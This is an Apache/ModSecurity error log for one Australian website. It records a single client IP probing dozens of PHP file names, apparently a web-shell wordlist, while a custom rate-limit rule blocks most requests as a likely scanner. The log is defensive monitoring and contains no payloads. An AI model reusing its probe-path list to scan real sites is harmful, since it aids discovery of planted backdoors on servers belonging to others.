[Tue Apr 21 16:35:17.669190 2026] [:error] [pid 53832:tid 53854] [client 98.71.67.66:17220] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "aec2xdzkuxsE_OhM9UI9hQAAAlM"]
[Tue Apr 21 16:35:18.322171 2026] [:error] [pid 35322:tid 35367] [client 98.71.67.66:1178] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "aec2xqPoAfV40BTfVKzK4AAAAIo"]
[Tue Apr 21 16:35:19.054788 2026] [:error] [pid 4777:tid 4809] [client 98.71.67.66:24796] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "aec2x6xXur6bykKyLZSPfgAAARU"]
[Tue Apr 21 16:35:19.664014 2026] [:error] [pid 4823:tid 4872] [client 98.71.67.66:65240] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "aec2x_c8mke3PfHqsxHZvAAAAZM"]
[Tue Apr 21 16:35:20.329882 2026] [:error] [pid 4777:tid 4808] [client 98.71.67.66:1391] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "aec2yKxXur6bykKyLZSPggAAARQ"]
[Tue Apr 21 16:35:20.953974 2026] [:error] [pid 35320:tid 35339] [client 98.71.67.66:24775] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "aec2yIJW6fdXWO6agME_xQAAAAk"]
[Tue Apr 21 16:35:21.746021 2026] [:error] [pid 4777:tid 4788] [client 98.71.67.66:16557] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "aec2yaxXur6bykKyLZSPiAAAAQA"]
[Tue Apr 21 16:35:22.466659 2026] [:error] [pid 35320:tid 35331] [client 98.71.67.66:30698] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "aec2yoJW6fdXWO6agME_yQAAAAE"]
[Tue Apr 21 16:35:23.097871 2026] [:error] [pid 53832:tid 53858] [client 98.71.67.66:34287] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "aec2y9zkuxsE_OhM9UI9nAAAAlc"]
[Tue Apr 21 16:35:23.814312 2026] [:error] [pid 35320:tid 35340] [client 98.71.67.66:65236] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "aec2y4JW6fdXWO6agME_zgAAAAo"]
[Tue Apr 21 16:35:24.476916 2026] [:error] [pid 53832:tid 53837] [client 98.71.67.66:30673] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aec2zNzkuxsE_OhM9UI9ogAAAkI"]
[Tue Apr 21 16:35:25.328499 2026] [:error] [pid 4777:tid 4802] [client 98.71.67.66:34884] File does not exist: /usr/local/apache/htdocs/suspended-page/10.php
[Tue Apr 21 16:35:25.582716 2026] [:error] [pid 4777:tid 4809] [client 98.71.67.66:34884] File does not exist: /usr/local/apache/htdocs/suspended-page/100.php
[Tue Apr 21 16:35:26.247798 2026] [:error] [pid 4777:tid 4808] [client 98.71.67.66:34884] File does not exist: /usr/local/apache/htdocs/suspended-page/f35_S.php
[Tue Apr 21 16:35:26.513358 2026] [:error] [pid 4777:tid 4805] [client 98.71.67.66:34884] File does not exist: /usr/local/apache/htdocs/suspended-page/2026w.php
[Tue Apr 21 16:35:26.767573 2026] [:error] [pid 4777:tid 4811] [client 98.71.67.66:34884] File does not exist: /usr/local/apache/htdocs/suspended-page/111.php
[Tue Apr 21 16:35:27.106682 2026] [:error] [pid 4777:tid 4792] [client 98.71.67.66:34884] File does not exist: /usr/local/apache/htdocs/suspended-page/wp1.php
[Tue Apr 21 16:35:27.418736 2026] [:error] [pid 4777:tid 4807] [client 98.71.67.66:34884] File does not exist: /usr/local/apache/htdocs/suspended-page/aligk.php
[Tue Apr 21 16:35:27.702876 2026] [:error] [pid 4777:tid 4788] [client 98.71.67.66:34884] File does not exist: /usr/local/apache/htdocs/suspended-page/byrgo.php
[Tue Apr 21 16:35:27.958416 2026] [:error] [pid 4777:tid 4803] [client 98.71.67.66:34884] File does not exist: /usr/local/apache/htdocs/suspended-page/xwpg.php
[Tue Apr 21 16:35:28.385207 2026] [:error] [pid 4777:tid 4803] [client 98.71.67.66:34884] File does not exist: /usr/local/apache/htdocs/suspended-page/ass.php
[Tue Apr 21 16:35:28.659791 2026] [:error] [pid 4777:tid 4793] [client 98.71.67.66:34884] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aec20KxXur6bykKyLZSPlgAAAQU"]
[Tue Apr 21 16:35:29.460569 2026] [:error] [pid 53832:tid 53842] [client 98.71.67.66:24784] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aec20dzkuxsE_OhM9UI9sAAAAkc"]
[Tue Apr 21 16:35:30.202343 2026] [:error] [pid 4823:tid 4870] [client 98.71.67.66:1192] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aec20vc8mke3PfHqsxHZxgAAAZE"]
[Tue Apr 21 16:35:31.073821 2026] [:error] [pid 54080:tid 54089] [client 98.71.67.66:65235] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aec204zEbQHHxtmWbaZ1fAAAAsc"]
[Tue Apr 21 16:35:31.722984 2026] [:error] [pid 35320:tid 35339] [client 98.71.67.66:1399] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aec204JW6fdXWO6agME_4QAAAAk"]
[Tue Apr 21 16:35:32.729212 2026] [:error] [pid 53731:tid 53746] [client 98.71.67.66:16520] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aec21F2I9THUR-bRVGznqAAAAgs"]
[Tue Apr 21 16:35:33.696043 2026] [:error] [pid 54080:tid 54103] [client 98.71.67.66:24811] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aec21YzEbQHHxtmWbaZ1gwAAAtU"]
[Tue Apr 21 16:35:34.564607 2026] [:error] [pid 53731:tid 53738] [client 98.71.67.66:34278] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aec21l2I9THUR-bRVGznqwAAAgM"]
[Tue Apr 21 16:35:35.566782 2026] [:error] [pid 53832:tid 53836] [client 98.71.67.66:42867] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aec219zkuxsE_OhM9UI9tgAAAkE"]
[Tue Apr 21 16:35:36.458020 2026] [:error] [pid 53978:tid 54001] [client 98.71.67.66:49345] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aec22J1ivsR4hcOSQbbCCwAAApU"]
[Tue Apr 21 16:35:37.279565 2026] [:error] [pid 53832:tid 53842] [client 98.71.67.66:65264] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aec22dzkuxsE_OhM9UI9ugAAAkc"]
[Tue Apr 21 16:35:38.307603 2026] [:error] [pid 53832:tid 53845] [client 98.71.67.66:65258] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aec22tzkuxsE_OhM9UI9vAAAAko"]
[Tue Apr 21 16:35:39.056735 2026] [:error] [pid 54080:tid 54087] [client 98.71.67.66:30710] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aec224zEbQHHxtmWbaZ1kQAAAsU"]
[Tue Apr 21 16:35:39.847304 2026] [:error] [pid 35321:tid 35393] [client 98.71.67.66:34933] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aec22zeHLhVUuu8cVXzfvgAAAEk"]
[Tue Apr 21 16:35:40.739743 2026] [:error] [pid 54080:tid 54098] [client 98.71.67.66:1383] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aec23IzEbQHHxtmWbaZ1nwAAAtA"]
[Tue Apr 21 16:35:41.494847 2026] [:error] [pid 35320:tid 35352] [client 98.71.67.66:34931] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aec23YJW6fdXWO6agME_6gAAABY"]
[Tue Apr 21 16:35:42.126454 2026] [:error] [pid 35320:tid 35351] [client 98.71.67.66:24768] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "aec23oJW6fdXWO6agME_7QAAABU"]
[Tue Apr 21 16:35:43.101531 2026] [:error] [pid 35320:tid 35339] [client 98.71.67.66:49384] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "aec234JW6fdXWO6agME_9AAAAAk"]
[Tue Apr 21 16:35:43.782226 2026] [:error] [pid 35321:tid 35398] [client 98.71.67.66:65237] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "aec23zeHLhVUuu8cVXzfwAAAAE4"]
[Tue Apr 21 16:35:44.547022 2026] [:error] [pid 35415:tid 35439] [client 98.71.67.66:65227] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "aec24EiqDinI4_22zzhfYwAAAMw"]
[Tue Apr 21 16:35:45.342011 2026] [:error] [pid 4823:tid 4872] [client 98.71.67.66:34908] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aec24fc8mke3PfHqsxHZ0gAAAZM"]
[Tue Apr 21 16:35:46.049970 2026] [:error] [pid 35415:tid 35431] [client 98.71.67.66:30676] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aec24kiqDinI4_22zzhfZwAAAMQ"]
[Tue Apr 21 16:35:47.243912 2026] [:error] [pid 53978:tid 53992] [client 98.71.67.66:34262] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aec2451ivsR4hcOSQbbCDwAAAow"]
[Tue Apr 21 16:35:48.295489 2026] [:error] [pid 35415:tid 35437] [client 98.71.67.66:24824] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aec25EiqDinI4_22zzhfaAAAAMo"]
[Tue Apr 21 16:35:48.843349 2026] [:error] [pid 53978:tid 53996] [client 98.71.67.66:31941] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aec25J1ivsR4hcOSQbbCFQAAApA"]
[Tue Apr 21 16:35:49.460206 2026] [:error] [pid 35320:tid 35353] [client 98.71.67.66:1314] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aec25YJW6fdXWO6agMFAAAAAABc"]
[Tue Apr 21 16:35:50.081392 2026] [:error] [pid 4823:tid 4863] [client 98.71.67.66:65261] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aec25vc8mke3PfHqsxHZ0wAAAYo"]
[Tue Apr 21 16:35:50.610568 2026] [:error] [pid 35415:tid 35435] [client 98.71.67.66:34265] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aec25kiqDinI4_22zzhfaQAAAMg"]
[Tue Apr 21 16:35:51.169505 2026] [:error] [pid 4823:tid 4861] [client 98.71.67.66:16546] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aec25_c8mke3PfHqsxHZ1QAAAYg"]
[Tue Apr 21 16:35:51.903218 2026] [:error] [pid 35321:tid 35391] [client 98.71.67.66:16556] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aec25zeHLhVUuu8cVXzfxgAAAEc"]
[Tue Apr 21 16:35:52.547975 2026] [:error] [pid 35321:tid 35393] [client 98.71.67.66:65271] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aec26DeHLhVUuu8cVXzfyAAAAEk"]
[Tue Apr 21 16:35:53.154447 2026] [:error] [pid 4777:tid 4808] [client 98.71.67.66:16512] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aec26axXur6bykKyLZSPmwAAARQ"]
[Tue Apr 21 16:35:53.723178 2026] [:error] [pid 4777:tid 4805] [client 98.71.67.66:34265] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aec26axXur6bykKyLZSPoAAAARE"]
[Tue Apr 21 16:35:54.493652 2026] [:error] [pid 35321:tid 35408] [client 98.71.67.66:49344] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aec26jeHLhVUuu8cVXzf0AAAAFg"]
[Tue Apr 21 16:35:55.066101 2026] [:error] [pid 4823:tid 4864] [client 98.71.67.66:34257] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aec26_c8mke3PfHqsxHZ2AAAAYs"]
[Tue Apr 21 16:35:55.698259 2026] [:error] [pid 53832:tid 53844] [client 98.71.67.66:34934] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aec269zkuxsE_OhM9UI9zwAAAkk"]
[Tue Apr 21 16:35:56.473642 2026] [:error] [pid 53978:tid 53991] [client 98.71.67.66:34906] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "aec27J1ivsR4hcOSQbbCFwAAAos"]
[Tue Apr 21 16:35:57.127064 2026] [:error] [pid 53978:tid 53987] [client 98.71.67.66:24779] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "aec27Z1ivsR4hcOSQbbCGAAAAoc"]
[Tue Apr 21 16:35:57.751132 2026] [:error] [pid 35322:tid 35367] [client 98.71.67.66:34246] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "aec27aPoAfV40BTfVKzK6wAAAIo"]
[Tue Apr 21 16:35:58.476105 2026] [:error] [pid 4823:tid 4858] [client 98.71.67.66:34902] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "aec27vc8mke3PfHqsxHZ2gAAAYU"]
[Tue Apr 21 16:35:59.138259 2026] [:error] [pid 53832:tid 53835] [client 98.71.67.66:1345] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aec279zkuxsE_OhM9UI90gAAAkA"]
